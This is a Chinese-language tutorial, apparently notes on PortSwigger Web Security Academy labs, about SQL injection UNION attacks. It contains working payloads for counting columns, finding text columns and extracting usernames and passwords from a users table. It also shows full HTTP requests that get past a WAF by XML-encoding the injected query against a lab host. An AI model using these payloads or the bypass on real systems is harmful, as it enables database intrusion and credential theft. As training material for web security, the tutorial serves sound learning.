UNION
關鍵字使您能夠執行一個或多個附加SELECT
查詢並將結果附加到原始查詢,如下
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
要使UNION
查詢正常運作,必須滿足兩個關鍵要求:
- 查詢語句的欄位數量要符合,必須確認沒超過欄位數量。
- 查詢語句的資料類型要相同,必須確認欄位的資料類型。
查詢欄位數量
有兩種有效的方法可以決定從原始查詢傳回多少列
方法1,利用order by
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
如果沒報錯,那表示指定的數量還在所有欄位數量內,但當指定的列索引超過結果集中實際列數時,資料庫傳回錯誤
The ORDER BY position number 3 is out of range of the number of items in the select list.
方法2,指定不同數量的null
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
如果是ORACLE數據庫,必須在加FROM DUAL
' UNION SELECT NULL FROM DUAL--
' UNION SELECT NULL,NULL FROM DUAL--
' UNION SELECT NULL,NULL,NULL FROM DUAL--
如果空值數量與列數不匹配,資料庫將傳回錯誤
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists
例如,假如用3個null沒報錯,表示資料表只有3個欄位
Lab: SQL injection UNION attack, determining the number of columns returned by the query
查詢欄位的類型
假如有4個欄位,可以發送4次不同請求確認
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
假如第三行沒報告,表示類型為字串,假如124行報錯如下,表示類型非字串
Conversion failed when converting the varchar value 'a' to data type int.
Lab: SQL injection UNION attack, finding a column containing text
連接多個欄位成為單一欄位
一旦確認欄位數量與類型時,就可以嘗試取得數據表資料,
假如確定有2欄可顯示字串內容,可使用以下語法將資料表的用戶和密碼列出
' UNION SELECT username, password FROM users--
但在某些情況下只能回傳單一欄位,因此需要合併欄位,不同數據庫可用不同方式合併,如下
Oracle:'foo'||'bar'
PostgreSQL:'foo'||'bar'
Microsoft:'foo'+'bar'
MySQL:'foo' 'bar'
(2個字串間有空白),CONCAT('foo','bar')
假如數據庫庫是oracle,想連接username
, ~
, password
這三個,可以寫成以下
' UNION SELECT username || '~' || password FROM users--
查詢結果就會像以下
...
administrator~s3cure
wiener~peter
carlos~montoya
...
Lab: SQL injection UNION attack, retrieving multiple values in a single column
饒過安全機制
攻擊會因 WAF 和其他防禦機製而被阻止,可以透過對禁止的關鍵字中的字元進行編碼或轉義來繞過這些安全機制
舉例來說,執行攻擊請求時被偵測如下
################ request ################
POST /product/stock HTTP/1.1
Host: 0a350077033afbd1c064a60d005e00d4.web-security-academy.net
...omit...
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId>
<storeId>1 UNION SELECT null</storeId>
</stockCheck>
################ response ################
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 17
"Attack detected"
可使用XML encoding編碼對攻擊內容進行混淆,也可以使用Hackvertor Extensions,選擇Encode > dec_entities/hex_entities
可將內容進行編碼
################ request ################
POST /product/stock HTTP/1.1
Host: 0a350077033afbd1c064a60d005e00d4.web-security-academy.net
...omit...
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId>
<storeId>1 UNION SELECT null
</storeId>
</stockCheck>
################ response ################
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Set-Cookie: session=1qzQFMhyroyBA4UZauSIkc9nqGAKmcEQ; Secure; HttpOnly; SameSite=None
Connection: close
Content-Length: 13
99 units
null
從返回內容看到union attack的執行結果,己成功饒過安全機制
Lab: SQL injection with filter bypass via XML encoding